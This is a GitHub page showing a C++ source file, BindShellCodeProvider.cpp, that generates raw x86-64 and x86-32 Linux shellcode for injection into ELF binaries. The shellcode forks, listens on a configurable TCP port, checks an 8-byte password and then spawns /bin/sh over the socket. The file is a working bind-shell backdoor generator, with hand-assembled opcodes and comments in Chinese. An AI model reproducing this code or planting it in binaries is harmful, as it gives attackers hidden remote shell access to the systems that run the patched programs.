-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathBindShellCodeProvider.cpp
More file actions
executable file
·156 lines (153 loc) · 4.97 KB
/
Copy pathBindShellCodeProvider.cpp
File metadata and controls
executable file
·156 lines (153 loc) · 4.97 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
#include "BindShellCodeProvider.h"
#include "CSEngine.h"
#include "BinaryEditor.h"
#include "Config.h"
void BindShellCodeProvider::getCode(uint64_t virtualAddress, std::vector<uint8_t> & allcode)
{
uint16_t port = Config::instance()->getBindShellPort();
uint8_t s1 = (port & 0xff00) >> 8;
uint8_t s2 = (port & 0xff);
std::string passwd = Config::instance()->getBindShellPasswd();
if (BinaryEditor::instance()->getPlatform() == ELF_CLASS::ELFCLASS64)
{
//完全位置无关
std::vector<uint8_t> bindtcpX64 = {
0x6a, 0x39,//push 0x39
0x58, //pop rax
0x0f, 0x5, // syscall sys_fork
0x85, 0xc0, // test eax, eax
0x74, 0x2, // jz 9
0xeb, 0x73, //jmp end
//9 父进程jmp结尾
0x6A, 0x29, //push 29h
0x58, //pop rax
0x99, //cdq
0x6A, 0x02, //push 2
0x5F, //pop rdi
0x6A, 0x01, //push 1
0x5E, //pop rsi
0x0F, 0x05,//syscall sys_socket
0x48, 0x97,//xchg rax, rdi fd
0x52, //push rdx
0xC7, 0x04, 0x24, 0x02, 0x00, s1, s2, //mov [rsp], 5C110002h 监听0.0.0.0:56789
0x48, 0x89, 0xE6, //mov rsi, rsp
0x6A, 0x10, // push 10h
0x5A, //pop rdx
0x6A, 0x31, //push 31h
0x58, //pop rax
0x0F, 0x05, //syscall sys_bind
0x6A, 0x32, //push 32h
0x58, //pop rax
0x0F, 0x05, //syscall sys_listen
0x48, 0x31, 0xF6, //xor rsi, rsi
0x6A, 0x2B, //push 2Bh
0x58, //pop rax
0x0F, 0x05, //syscall sys_accept
0x48, 0x97, //xchg rax, rdi
//添加密码校验
0x48, 0x31,0xc0, //xor rax, rax
0x48, 0x8d,0x34, 0x24, //lea rsi, qword ptr[rsp]
0x6a, 0x08,//push 8
0x5a, //pop rdx
0x0f, 0x05,//syscall sys_read
//0x48, 0xb8,0x64,0x59,0x35,0x74,0x45,0x36,0x72,0x54,//movabs rax, 0x5472364574355964
0x48, 0xb8, passwd[0], passwd[1], passwd[2], passwd[3], passwd[4], passwd[5], passwd[6], passwd[7],
0x48, 0x39,0x4, 0x24,//cmp qword ptr [rsp], rax
0x74, 0x01,//je 0x20
0xc3, //ret
//0x20 校验通过
0x6A, 0x03, //push 3
0x5E, //pop rsi
//loc_4000AB:
0x48, 0xFF, 0xCE, // dec rsi
0x6A, 0x21, //push 21h
0x58, //pop rax
0x0F, 0x05, //syscall sys_dup2
0x75, 0xF6, //jnz short loc_4000AB
0x6A, 0x3B, //push 3Bh
0x58, //pop rax
0x99, //cdq
0x48, 0xBB, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x73, 0x68, 0x00, //mov rbx, 68732F6E69622Fh /bin/sh\0
0x53, //push rbx
0x48, 0x89, 0xE7, //mov rdi, rsp
0x52, //push rdx
0x57, //push rdi
0x48, 0x89, 0xE6, //mov rsi, rsp
0x0F, 0x05 //syscall sys_execve
//end:
};
allcode.insert(allcode.end(), bindtcpX64.begin(), bindtcpX64.end());
}
else
{
//完全位置无关
std::vector<uint8_t> bindtcpX32 = {
0x6a, 0x02, //push 2
0x58, //pop eax
0xcd ,0x80 ,//int 80
0x85 ,0xc0 ,//test eax,eax
0x74 ,0x02 ,//je 0xc
0xeb, 0x71, //jmp end
//c:子进程
0x31, 0xDB, //xor ebx, ebx
0xF7, 0xE3, //mul ebx
0x53, //push ebx
0x43, //inc ebx
0x53, //push ebx
0x6A, 0x02, //push 2
0x89, 0xE1, //mov ecx,esp
0xB0, 0x66, //mov al, 0x66
0xCD, 0x80, //int 80
0x5B, //pop ebx
0x5E, //pop esi
0x52, //push edx
0x68, 0x02, 0x00, s1, s2, //push 0xd5dd0002 端口56789
0x6A, 0x10, //push 0x10
0x51, //push ecx
0x50, //push eax
0x89, 0xE1, //mov ecx,esp
0x6A, 0x66, //push 0x66
0x58, //pop eax
0xCD, 0x80, //int80
0x89, 0x41, 0x04, //mov dword ptr [ecx + 4], eax
0xB3, 0x04, //mov bl, 4
0xB0, 0x66, //mov al, 0x66
0xCD, 0x80, //int80
0x43, //inc ebx
0xB0, 0x66, //mov al,0x66
0xCD, 0x80, //int80
0x93, //xchg eax, ebx fd在ebx
0x53,// push ebx
0xb0 ,0x03,// mov al, 3
0x8d ,0x4c, 0x24 ,0xf8,// lea ecx, dword ptr[esp - 8]
0xb2 ,0x08,// mov dl, 8
0xcd ,0x80,// int 0x80
0xb8 ,passwd[0], passwd[1], passwd[2], passwd[3],// mov eax, 0x74355964
0x39 ,0x44 ,0x24 ,0xf8,// cmp dword ptr[esp - 8], eax
0x74 ,0x01,// je 0x17
//0x16
0xc3,// ret
//0x17
0xb8 ,passwd[4], passwd[5], passwd[6], passwd[7],// mov eax, 0x54723645
0x39 ,0x44 ,0x24 ,0xfc,// cmp dword ptr[esp - 4], eax
0x75 ,0xf4,// jne 0x16
0x5b, //pop ebx恢复fd
0x59, //pop ecx 3
//32:
0x6A, 0x3F, //push 0x3f
0x58, //pop eax
0xCD, 0x80, //int80
0x49, //dec ecx
0x79, 0xF8, //jns 32
0x68, 0x2F, 0x2F, 0x73, 0x68, //push 0x68732f2f
0x68, 0x2F, 0x62, 0x69, 0x6E, //push 0x6e69622f
0x89, 0xE3, //mov ebx, esp
0x31, 0xc9, //xor ecx,ecx
0x31, 0xd2, //xor edx,edx
0xB0, 0x0B, //mov al, 0xb
0xCD, 0x80 //int80
//end:
};
allcode.insert(allcode.end(), bindtcpX32.begin(), bindtcpX32.end());
}
}